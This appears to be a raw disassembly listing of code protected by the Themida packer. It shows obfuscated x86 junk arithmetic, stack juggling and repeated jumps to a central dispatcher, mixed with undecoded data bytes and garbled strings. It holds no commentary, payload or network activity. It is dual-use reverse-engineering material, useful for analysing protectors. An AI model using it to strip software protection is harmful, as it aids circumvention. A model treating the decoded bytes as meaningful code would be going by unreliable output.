		sub	ax, 0FEB8h
		add	bx, ax
		mov	eax, [esp]
		jmp	loc_5557E9
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 0E073E92Fh, 248BFFFFh, 30A0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CBD2:				; CODE XREF: Themida_:0054E836j
		pop	esp
		jmp	loc_54E63D
; ---------------------------------------------------------------------------
		dd 4B9h, 8BC80100h, 0C481240Ch,	4, 0E904C083h, 0F1Bh
; ---------------------------------------------------------------------------

loc_54CBF0:				; CODE XREF: Themida_:00551E58j
		mov	esp, [esp]
		push	edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	eax
		jmp	loc_54B896
; ---------------------------------------------------------------------------
		db 5Ah
		dd 301FEF80h, 2434FFF8h, 1822E9h
		db 0
; ---------------------------------------------------------------------------

loc_54CC11:				; CODE XREF: Themida_:0054B410j
		push	ebx
		mov	ebx, 5A091CA0h
		add	edx, ebx
		pop	ebx
		jmp	loc_551109
; ---------------------------------------------------------------------------
		db 56h
		dd 6754F3BEh, 0DFECE928h, 15E9FFFFh, 6600002Ch,	8124048Bh
		dd 4ECh, 243C8900h, 8904EC83h, 4812424h, 424h, 243C8B00h
		dd 6804C483h, 4BCDh, 0B8240489h, 4, 85ADE9h
		db 0
; ---------------------------------------------------------------------------

loc_54CC61:				; CODE XREF: Themida_:00549ECAj
		push	esi
		push	esp
		jmp	loc_55381F
; ---------------------------------------------------------------------------

loc_54CC68:				; CODE XREF: Themida_:00549FA3j
		mov	eax, 405B0C4Fh
		mov	ebx, 0BFA4F3B2h
		jmp	loc_55394C
; ---------------------------------------------------------------------------

loc_54CC77:				; CODE XREF: Themida_:loc_54D6D9j
		jmp	loc_551816
; ---------------------------------------------------------------------------

loc_54CC7C:				; CODE XREF: Themida_:0054C5EBj
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_54B741
; ---------------------------------------------------------------------------

loc_54CC8D:				; CODE XREF: Themida_:00552B8Aj
		pop	edi
		and	esi, 6B2D33BAh
		jmp	loc_5538F9
; ---------------------------------------------------------------------------
		db 1, 0F9h, 0E9h
		dd 69D3h, 0DBC8D0Fh, 0F7810000h, 0BCAA8DAAh, 6AE9FB89h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CCB3:				; CODE XREF: Themida_:00552476j
		mov	al, cl
		jmp	loc_54F200
; ---------------------------------------------------------------------------
		dw 60Dh
aVjq		db 'v╕Q-',0
aKmsJ		db ' ╙MИрJ',0
		db 0
; ---------------------------------------------------------------------------

loc_54CCC9:				; CODE XREF: Themida_:00550E7Ej
		push	ax
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54CCD1:				; CODE XREF: Themida_:0054DA70j
		add	esi, 520F3122h
		add	esi, eax
		sub	esi, 520F3122h
		jmp	loc_54ADB3
; ---------------------------------------------------------------------------

loc_54CCE4:				; CODE XREF: Themida_:0054AEDFj
		add	edx, 557B69E2h
		add	edx, ebp
		jmp	loc_552693
; ---------------------------------------------------------------------------

loc_54CCF1:				; CODE XREF: Themida_:0055383Dj
		pop	esi
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54CCF7:				; CODE XREF: Themida_:00551494j
		push	52E3h
		mov	[esp], ebp
		mov	ebp, 354F0B56h
		shl	ebp, 6
		shr	ebp, 2
		push	eax
		push	edi
		push	7A066F02h
		pop	edi
		push	eax
		mov	eax, 66114EF4h
		add	eax, 16E55D08h
		jmp	loc_551478
; ---------------------------------------------------------------------------

loc_54CD22:				; CODE XREF: Themida_:0054B385j
		xor	ebp, 32345B4Bh
		ja	loc_553D3E
		jmp	loc_54DD87
; ---------------------------------------------------------------------------
		db 5Ch
		dd 5A2434FFh, 0CD81DD8Bh, 47A03AFDh, 17D3ED81h,	814D2916h
		dd 6555BCEDh, 31ED8166h, 2924FD94h, 0CBE95DEAh
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CD5B:				; CODE XREF: Themida_:0054A956j
		pop	ax
		jmp	loc_54C044
; ---------------------------------------------------------------------------
aNhG		db '╜h<g',0
		align 4
		dd 56241489h, 0D263E8BEh, 5EF28924h, 148BD029h,	4C48324h
		dd 0BD55D829h, 5FBC0D8Fh, 247468h, 240C8900h, 165659B9h
		dd 19B850C5h, 0C177217Bh, 54002E8h, 30A77FD7h, 233DE9h
		db 0
; ---------------------------------------------------------------------------

loc_54CDA5:				; CODE XREF: Themida_:0054916Aj
		shl	esi, 1
		dec	esi
		xor	esi, 0A2976F64h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_54A9B3
; ---------------------------------------------------------------------------

loc_54CDC1:				; CODE XREF: Themida_:0054FA32j
		pop	edx
		and	cl, 0D0h
		add	cl, 0ADh
		sub	dl, 32h
		add	dl, cl
		jmp	loc_55451C
; ---------------------------------------------------------------------------
		dw 0E9ACh
		dd 1901h, 9D1C77FFh, 4185866h, 0B9E99C24h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CDE7:				; CODE XREF: Themida_:00550894j
		add	ebx, esi
		sub	ebx, 6EC143C7h
		jmp	loc_549061
; ---------------------------------------------------------------------------

loc_54CDF4:				; CODE XREF: Themida_:0055371Ej
		pop	eax
		sub	edx, edi
		pop	edi
		mov	ebx, edx
		pop	edx
		jmp	loc_54989E
; ---------------------------------------------------------------------------

loc_54CE00:				; CODE XREF: Themida_:0054AD99j
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_550126
; ---------------------------------------------------------------------------

loc_54CE1C:				; CODE XREF: Themida_:005524CCj
		push	3B863F0h
		jmp	loc_55201C
; ---------------------------------------------------------------------------

loc_54CE26:				; CODE XREF: Themida_:00549AD6j
					; Themida_:00555424j
		push	2943h
		mov	[esp], ecx
		mov	ecx, 0DFEDB801h
		add	eax, 388F33B4h
		add	eax, ecx
		sub	eax, 388F33B4h
		pop	ecx
		jmp	loc_5534FE
; ---------------------------------------------------------------------------

loc_54CE45:				; CODE XREF: Themida_:005506EDj
		neg	esi
		xchg	ebx, esi
		not	ebx
		jmp	loc_553787
; ---------------------------------------------------------------------------

loc_54CE50:				; CODE XREF: Themida_:00555ABCj
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54CE68:				; CODE XREF: Themida_:00548B24j
		add	edi, 4
		jmp	loc_555D41
; ---------------------------------------------------------------------------
		db 81h
		dd 815C71E9h, 0FE1BE90Fh, 0EC83FFFFh, 24148904h, 0C6242C81h
		dd 0E95E1C16h, 2961h, 9EBB534Eh, 0C16ACC6Fh, 0EB8103EBh
		dd 4153B9C6h, 295BDE31h, 0CC055EF0h, 812BC602h,	4ECh, 243C8900h
		dd 3D14E9h
		db 0
; ---------------------------------------------------------------------------

loc_54CEB9:				; CODE XREF: Themida_:0054F146j
		pop	esp
		sub	eax, 143C60F5h
		jmp	loc_554D41
; ---------------------------------------------------------------------------
		dd 42474FFh, 4D0CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54CECD:				; CODE XREF: Themida_:0055127Bj
		add	esp, 4
		pop	edi
		jmp	loc_54F7B8
; ---------------------------------------------------------------------------

loc_54CED6:				; CODE XREF: Themida_:00555D8Dj
		push	edi
		mov	edi, 53BE3A1Fh
		xor	edi, 487D022Dh
		inc	edi
		inc	edi
		and	edi, 5DD272EEh
		push	ecx
		jmp	loc_54EA29
; ---------------------------------------------------------------------------
		dd 46E9E588h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CEF7:				; CODE XREF: Themida_:0054F8BDj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		push	ecx
		push	2A963B70h
		pop	ecx
		add	ecx, 5D884544h
		jz	loc_552453
		add	ecx, 26CE5CD4h
		jg	loc_550DD2
		push	ebp
		mov	ebp, 3F8452FEh
		or	ebp, 64567FEh
		add	ebp, 74E6213Ah
		shl	ebp, 2
		inc	ebp
		xor	ebp, 2B23E7E5h
		xor	ecx, ebp
		pop	ebp
		mov	esi, ecx
		pop	ecx
		jmp	loc_54C42A
; ---------------------------------------------------------------------------

loc_54CF51:				; CODE XREF: Themida_:0054A10Aj
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_548929
; ---------------------------------------------------------------------------
		db 1, 0CDh, 81h
		dd 9A6D7FEDh, 2C875913h, 24248B24h, 24040166h, 0B9B3E99Ch
		dd 0E9ADFFFFh, 28ADh
; ---------------------------------------------------------------------------

loc_54CF7C:				; CODE XREF: Themida_:loc_54C56Ej
		not	bl
		or	bl, 0FDh
		xor	bl, 8Ch
		jmp	loc_555AF6
; ---------------------------------------------------------------------------
		db 0ADh, 83h, 0ECh
		dd 24148904h, 1E4CD1BAh, 26C4E95Ch, 0D0290000h,	0E92434FFh
		dd 7CC1h, 95E955B4h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CFAB:				; CODE XREF: Themida_:00552D35j
		neg	ebx
		js	loc_54AB23
		inc	ebx
		jle	loc_552929
		and	ebx, 3D801D07h
		pop	edi

loc_54CFC1:				; CODE XREF: Themida_:00555209j
		xor	dh, 0ACh
		push	eax
		mov	al, 0F7h
		add	dh, al
		pop	eax
		mov	bh, dh
		pop	edx
		dec	bh
		jmp	loc_55239A
; ---------------------------------------------------------------------------

loc_54CFD4:				; CODE XREF: Themida_:005490E1j
		sub	bl, 0BFh
		jmp	loc_54E4F2
; ---------------------------------------------------------------------------
		dd 68240C89h, 761862FBh, 3A5CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54CFE9:				; CODE XREF: Themida_:0054F626j
		push	ecx
		mov	ecx, 30BD7E62h
		not	ecx
		inc	ecx
		dec	ecx
		add	ecx, 9542C2C6h
		add	esi, ecx
		pop	ecx
		xor	esi, 7CA142A4h
		push	edi
		push	esi
		push	7E7E5F37h
		pop	esi
		add	esi, 77B622Eh
		jno	loc_54A025
		jmp	loc_54C8D3
; ---------------------------------------------------------------------------
		db 51h
		dd 0CDFEDCB5h, 0E5C0D5F6h, 0E9DDF607h, 6CD4h
; ---------------------------------------------------------------------------

loc_54D02C:				; CODE XREF: Themida_:0054E5DCj
		mov	esi, esp
		push	edi
		mov	edi, 343B098Eh
		dec	edi
		jmp	loc_54C6A5
; ---------------------------------------------------------------------------

loc_54D03A:				; CODE XREF: Themida_:0054A986j
		jz	loc_54C2B9
		push	dword ptr [edi+1Ch]
		push	ecx
		jmp	loc_54BC4C
; ---------------------------------------------------------------------------

loc_54D049:				; CODE XREF: Themida_:0055211Dj
		push	esp
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	eax, 4
		push	322Fh
		mov	[esp], ecx
		mov	ecx, 56E55454h
		sub	ecx, 56E55450h
		add	eax, ecx
		pop	ecx
		jmp	loc_554F21
; ---------------------------------------------------------------------------

loc_54D07D:				; CODE XREF: Themida_:0054FDD2j
		push	small word ptr [edx]
		jmp	loc_548929
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 50FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D092:				; CODE XREF: Themida_:00554054j
		add	dh, 20h
		add	bl, 0Bh
		sub	bl, dh
		jmp	loc_550899
; ---------------------------------------------------------------------------

loc_54D09F:				; CODE XREF: Themida_:loc_54BC94j
		xor	ebp, 33DA0D97h
		xor	ebp, 0C24D5267h
		add	edi, ebp
		jmp	loc_54BD2B
; ---------------------------------------------------------------------------

loc_54D0B2:				; CODE XREF: Themida_:00553C60j
		push	23AFh
		jmp	loc_54F9E3
; ---------------------------------------------------------------------------

loc_54D0BC:				; CODE XREF: Themida_:0055334Dj
		xor	edi, esi
		xor	esi, edi
		not	edi
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		xchg	esi, ecx
		jmp	loc_5516CF
; ---------------------------------------------------------------------------

loc_54D0CF:				; CODE XREF: Themida_:0054FC49j
					; Themida_:005513A8j
		mov	[esp], esi
		push	dword ptr [esp]
		pop	edi
		push	esi
		push	esp
		jmp	loc_54F922
; ---------------------------------------------------------------------------

loc_54D0DD:				; CODE XREF: Themida_:0055286Aj
		add	al, ch
		pop	ecx
		push	edx
		push	eax
		mov	al, 0C2h
		mov	dh, 10h
		xor	dh, al
		pop	eax
		dec	dh
		sub	dh, 32h
		shr	dh, 8
		jmp	loc_54951B
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 5F2AE981h, 875B527Bh, 0D35C240Ch, 0E99C242Ch, 0FFFFB81Dh
; ---------------------------------------------------------------------------

loc_54D10C:				; CODE XREF: Themida_:0054A84Aj
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	4433h
		jmp	loc_54C2A0
; ---------------------------------------------------------------------------

loc_54D11E:				; CODE XREF: Themida_:0054C6B3j
		push	esi
		mov	esi, 0BE35FC2Ch
		sub	edi, esi
		pop	esi
		jmp	loc_54CA4C
; ---------------------------------------------------------------------------

loc_54D12C:				; CODE XREF: Themida_:loc_54C690j
		shr	eax, 6
		jmp	loc_54A69D
; ---------------------------------------------------------------------------
		dd 0BD5382BEh, 7CEE817Bh, 31498D3Bh, 24348BF1h,	4C481h
		dd 0C8010000h, 592434FFh, 0FFC8F7E9h, 242C89FFh, 0C5815D54h
		dd 4, 0FFD122E9h, 243481FFh, 13105ED7h,	0D7F3815Bh, 5913105Eh
		dd 0FFD229E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D179:				; CODE XREF: Themida_:005535A7j
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7D4A0E9Eh
		jmp	loc_54DC8A
; ---------------------------------------------------------------------------

loc_54D18A:				; CODE XREF: Themida_:00553933j
		add	eax, 54B154DEh
		neg	eax
		jns	loc_5545F9
		sub	eax, 0DC3ADF9Bh
		push	esi
		jmp	loc_5538A5
; ---------------------------------------------------------------------------
		dw 0E080h
		db 51h
; ---------------------------------------------------------------------------

loc_54D1A5:				; CODE XREF: Themida_:005528C0j
		and	ebp, 3851069h
		jmp	loc_54AFFE
; ---------------------------------------------------------------------------
		dd 4CF3815Fh, 0F7B7330h, 0FFF7B889h, 97F381FFh,	0F4D4347h
		dd 0FFC9818Bh
		db 0FFh, 51h
; ---------------------------------------------------------------------------

loc_54D1CA:				; CODE XREF: Themida_:00548B2Dj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_54BFBF
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 252BE9h
		db 0
; ---------------------------------------------------------------------------

loc_54D1ED:				; CODE XREF: Themida_:00551384j
		jmp	loc_554205
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED830000h, 242C8704h, 0E924248Bh, 2E10h
; ---------------------------------------------------------------------------

loc_54D208:				; CODE XREF: Themida_:00549ED6j
		jz	loc_54D801
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_54C709
; ---------------------------------------------------------------------------

loc_54D219:				; CODE XREF: Themida_:0054BC4Dj
		push	ebx
		push	73833D49h
		pop	ebx
		neg	ebx
		or	ebx, 50B15D85h
		jno	loc_54EC30
		add	ebx, 479701DCh
		jmp	loc_54D77F
; ---------------------------------------------------------------------------

loc_54D239:				; CODE XREF: Themida_:0054A698j
		push	esi
		mov	esi, 32A9448Fh
		xor	esi, 56076CFEh
		neg	esi
		neg	esi
		sub	esi, 5136502Fh
		xor	esi, 22C449ABh
		add	ebx, 751D3023h
		add	ebx, esi
		sub	ebx, 751D3023h
		jmp	loc_54ECB9
; ---------------------------------------------------------------------------
		dd 956C4BBDh, 4FF5813Ch, 563C956Ch, 0FD758CBEh,	0DCCE8143h
		dd 816E832Ah, 0FE2964F6h, 82CE8121h, 812ABF6Fh,	0AE7B1CE6h
		dd 3E6C140h, 0CF02F681h, 0F729402Ch, 0B2BE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D2A2:				; CODE XREF: Themida_:00553AABj
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_54E88F
; ---------------------------------------------------------------------------

loc_54D2AF:				; CODE XREF: Themida_:00554E64j
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dd 0A65982BFh, 0E9F8894Ah, 0FFFFC0A2h, 4DAEF81h, 0DF290563h
		dd 0FFE0DAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D2CD:				; CODE XREF: Themida_:00554FB0j
		xor	eax, 11374424h
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_54AEA2
; ---------------------------------------------------------------------------
		db 80h,	0C5h, 0FFh
		dd offset byte_5B46E9
		db 0
; ---------------------------------------------------------------------------

loc_54D2E5:				; CODE XREF: Themida_:00554584j
		mov	[esp], ebx
		mov	bl, 25h
		add	bl, 0C7h
		or	dh, bl
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 0B9h
		add	bh, 0D5h
		shr	bh, 8
		push	eax
		mov	al, 7Ah
		and	al, 27h
		sub	al, 0Eh
		inc	al
		jmp	loc_548A4B
; ---------------------------------------------------------------------------
		dd 680CC181h, 3E90401h,	81FFFFE7h, 105B87CBh, 6E6DE90Ch
		dd 0BD550000h, 2, 15DEE89h, 168EE9F1h, 0E9570000h, 0FFFFB60Bh
		dd 815DEE89h, 7C2026CEh, 11E68152h, 0E9559F53h,	2240h
; ---------------------------------------------------------------------------

loc_54D34C:				; CODE XREF: Themida_:0055123Aj
		push	esi
		mov	esi, 37A705A8h
		add	esi, 45D41DC0h
		jg	loc_55215F
		jmp	loc_550E2A
; ---------------------------------------------------------------------------
		db 68h
		dd 25B3h, 0E5E9465Bh, 5FFFFFEDh, 0E9CE0158h, 2A85h, 0F6B6E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D37E:				; CODE XREF: Themida_:0054DEC0j
		mov	cl, 0FCh
		mov	ah, cl
		pop	ecx
		inc	ah
		push	ebx
		jmp	loc_54A967
; ---------------------------------------------------------------------------

loc_54D38B:				; CODE XREF: Themida_:005558E9j
		pop	esi
		not	esi
		and	esi, 74452757h
		jmp	loc_555A5B
; ---------------------------------------------------------------------------

loc_54D399:				; CODE XREF: Themida_:00550581j
		sub	ebx, 3D364D15h
		xor	edx, eax
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54D3A6:				; CODE XREF: Themida_:00549255j
		pop	edx
		pop	ecx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_54C613
; ---------------------------------------------------------------------------

loc_54D3B3:				; CODE XREF: Themida_:0054BAAAj
		sub	dword ptr [esp+8], 2427329Ah
		jmp	loc_554911
; ---------------------------------------------------------------------------

loc_54D3C0:				; CODE XREF: Themida_:00549561j
					; Themida_:005541C5j
		add	ebx, 429955FBh
		add	ebx, eax
		jmp	loc_548A78
; ---------------------------------------------------------------------------

loc_54D3CD:				; CODE XREF: Themida_:005548F8j
		sub	ecx, ebx
		add	ecx, 590052CAh
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_553C43
; ---------------------------------------------------------------------------
		dd 4C5835Eh, 2474FF55h,	48F5D04h, 0D1685C24h, 89000048h
		dd 0E2892414h, 4C281h, 0C2810000h, 4, 31241433h, 0CFE92414h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D413:				; CODE XREF: Themida_:00551C5Cj
		jmp	loc_54F215
; ---------------------------------------------------------------------------

loc_54D418:				; CODE XREF: Themida_:0054E4A2j
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		jmp	loc_551857
; ---------------------------------------------------------------------------

loc_54D432:				; CODE XREF: Themida_:0054BBA4j
		push	edi
		mov	edi, 6A7A15F5h
		jmp	loc_554114
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 38h
		dd 8B2434FFh, 3AE9240Ch, 81000030h, 7F28F9E2h, 0BAE94A78h
		dd 80000048h, 0E5C06EE5h, 36B05003h, 3C04C8FEh,	48BC528h
		dd 4C48124h, 30000000h,	0FE6859E8h, 89000057h, 85B7241Ch
		dd 678368h, 24148900h, 0B05001B6h, 3E8C013h, 0D0F6C0FEh
		dd 94E9D0F6h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D497:				; CODE XREF: Themida_:00548C8Bj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	3ADEh
		mov	[esp], ebx
		mov	ebx, 4
		sub	ecx, 6DBA4F08h
		add	ecx, ebx
		push	edi
		push	ebp
		push	0B30706Eh
		pop	ebp
		or	ebp, 4DB26282h
		jmp	loc_54FDC6
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFFDAF3h
; ---------------------------------------------------------------------------

loc_54D4D0:				; CODE XREF: Themida_:0054F3C2j
		pop	esp
		jmp	loc_54C5E7
; ---------------------------------------------------------------------------

loc_54D4D6:				; CODE XREF: Themida_:0055196Cj
					; Themida_:loc_55573Aj
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_549ED4
; ---------------------------------------------------------------------------

loc_54D4EA:				; CODE XREF: Themida_:0054E4FDj
		add	bl, cl
		pop	ecx
		push	edx
		mov	dh, 0EEh
		shr	dh, 3
		xor	dh, 0D6h
		shr	dh, 4
		or	dh, 0B6h
		sub	dh, 0EDh
		jmp	loc_54E83B
; ---------------------------------------------------------------------------
		dd 520FC280h, 0FFBA22E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D50D:				; CODE XREF: Themida_:0055163Cj
		pop	bx
		mov	ch, 9Ah
		xor	ch, dl
		pop	edx
		and	ch, 3Dh
		sub	ch, 50h
		sub	bl, 0F1h
		jmp	loc_54FA37
; ---------------------------------------------------------------------------
		dw 0FF66h
		dd 66022474h, 48F665Dh,	0D5F76624h, 242C8766h, 242C8B66h
		dd 0FFEFD1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D53D:				; CODE XREF: Themida_:005497EFj
		sub	eax, edx
		pop	edx
		xor	edi, eax
		pop	eax
		mov	ebp, edi
		jmp	loc_5536FF
; ---------------------------------------------------------------------------

loc_54D54A:				; CODE XREF: Themida_:0055348Bj
		add	ebx, eax
		add	ebx, 750939F8h
		sub	ebx, 523B57D8h
		add	ebx, 74242B71h
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_555154
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFD930h
; ---------------------------------------------------------------------------

loc_54D578:				; CODE XREF: Themida_:00552EDBj
		sub	bl, al
		add	bl, 0B3h
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_555541
; ---------------------------------------------------------------------------
		dd 68D9F741h, 7F2Dh, 5767E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D595:				; CODE XREF: Themida_:00551377j
		add	edi, 7ED415C2h
		pop	ecx
		jmp	loc_54BDC8
; ---------------------------------------------------------------------------
		db 83h,	0E8h, 4
		dd 5C240487h, 57240489h, 570206BFh, 0AEF78136h,	0E9344358h
		dd 5511h, 0FF2434FFh, 0E9582434h, 7A89h
; ---------------------------------------------------------------------------

loc_54D5C8:				; CODE XREF: Themida_:00555447j
		inc	ebp
		jmp	loc_54C320
; ---------------------------------------------------------------------------
		dw 0F921h
		dd 2B5CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54D5D5:				; CODE XREF: Themida_:005533F4j
		add	ebp, 79BA7AD0h
		add	ebp, 456C3087h
		add	esi, ebp
		jmp	loc_55531B
; ---------------------------------------------------------------------------

loc_54D5E8:				; CODE XREF: Themida_:00552753j
		xor	ebx, 547CBE4Bh
		jmp	loc_54C956
; ---------------------------------------------------------------------------

loc_54D5F3:				; CODE XREF: Themida_:0055080Cj
		add	esi, eax
		jmp	loc_552C9A
; ---------------------------------------------------------------------------

loc_54D5FA:				; CODE XREF: Themida_:005536C5j
		xor	ecx, 9E77DFFAh
		push	ecx
		sub	dword ptr [esp], 71B6652Ah
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5509DE
; ---------------------------------------------------------------------------
		dw 0FCBEh
		dd 8124611Eh, 527916E6h, 0FFEE8316h, 8104EEC1h,	364055F6h
		dd 33B6E99Fh, 34FF0000h, 2434FF24h, 10ECE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D63E:				; CODE XREF: Themida_:00550CDCj
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54D64D:				; CODE XREF: Themida_:0054B478j
		push	ecx
		mov	ecx, 73AF75BEh
		sub	ecx, 341B2B34h
		shr	ecx, 8
		add	ecx, 1E4470F7h
		dec	ecx
		sub	ecx, 1E84053Ch
		jmp	loc_54F137
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4EC8153h, 89000000h,	8BA2414h, 81732203h, 0FF0911EAh
		dd 0B789E929h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D68A:				; CODE XREF: Themida_:00552BC4j
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 0F582C35h
		sub	esi, 0F582C31h
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_55474B
; ---------------------------------------------------------------------------
		dd 0B3241C89h, 3295E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D6B6:				; CODE XREF: Themida_:0054FF60j
		mov	[esp], ebp
		pop	edx
		pop	ebp
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54D6C0:				; CODE XREF: Themida_:00555E02j
		push	ebx
		jmp	loc_553899
; ---------------------------------------------------------------------------

loc_54D6C6:				; CODE XREF: Themida_:0054E5CDj
		mov	[esp], ebx
		push	edi
		mov	edi, 1
		sub	[esp+4], edi
		pop	edi
		jmp	loc_54F251
; ---------------------------------------------------------------------------

loc_54D6D9:				; CODE XREF: Themida_:005538A8j
		jmp	loc_54CC77
; ---------------------------------------------------------------------------
aNsL		db '╜И l',0
		align 4

loc_54D6E4:				; CODE XREF: Themida_:0055293Ej
		push	54A0h
		mov	[esp], edx
		mov	edx, 74AD19AAh
		and	edx, 4D0179EAh
		jp	loc_55150A
		jmp	loc_553B27
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 51D389D8h, 0EB88F588h, 0DA885A59h, 81241C8Bh, 4C4h
		dd 0F6CAFE00h, 3EAC0D2h, 0FE15B551h, 0E9C5FEC5h, 0FFFFFBB1h
; ---------------------------------------------------------------------------

loc_54D72C:				; CODE XREF: Themida_:0054C6B9j
		push	2A40h
		jmp	loc_54E502
; ---------------------------------------------------------------------------

loc_54D736:				; CODE XREF: Themida_:0054B273j
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	cl, 0A3h
		or	cl, 13h
		neg	cl
		xor	cl, 0E2h
		jmp	loc_550F6D
; ---------------------------------------------------------------------------

loc_54D750:				; CODE XREF: Themida_:0054E7BBj
		mov	dh, 23h
		sub	bl, dh
		mov	edx, [esp]
		jmp	loc_54A7F8
; ---------------------------------------------------------------------------

loc_54D75C:				; CODE XREF: Themida_:005501DCj
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_550FF2
; ---------------------------------------------------------------------------
		db 4Bh
		dd 49E9DD87h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D77F:				; CODE XREF: Themida_:0054D234j
					; Themida_:0054E2B2j
		add	al, 0C9h
		jmp	loc_550137
; ---------------------------------------------------------------------------

loc_54D786:				; CODE XREF: Themida_:00555039j
		xchg	esi, ebx
		not	esi
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		push	edi
		mov	edi, esp
		jmp	loc_5501CD
; ---------------------------------------------------------------------------
aZHsi		db '┤,$\hИi',0
		dd 240C8900h, 0E9575954h, 0FFFFCB96h, 0FFB178E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D7B1:				; CODE XREF: Themida_:0054A262j
		mov	dl, 0DDh
		mov	al, 92h
		xor	al, dl
		pop	edx
		sub	bl, al
		mov	ax, [esp]
		add	esp, 2
		add	bl, dh
		add	bl, 4Fh
		pop	dx
		sub	bl, ch
		sub	bl, 24h
		jmp	loc_552ED7
; ---------------------------------------------------------------------------

loc_54D7D2:				; CODE XREF: Themida_:0055275Fj
		mov	[esp], edi
		push	6C84h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_549E38
; ---------------------------------------------------------------------------

loc_54D7E6:				; CODE XREF: Themida_:00551826j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_549450
; ---------------------------------------------------------------------------

loc_54D7F1:				; CODE XREF: Themida_:005505D2j
		mov	ecx, [esp]
		jmp	loc_54B528
; ---------------------------------------------------------------------------

loc_54D7F9:				; CODE XREF: Themida_:005524BDj
		push	dword ptr [esp]
		jmp	loc_553CAC
; ---------------------------------------------------------------------------

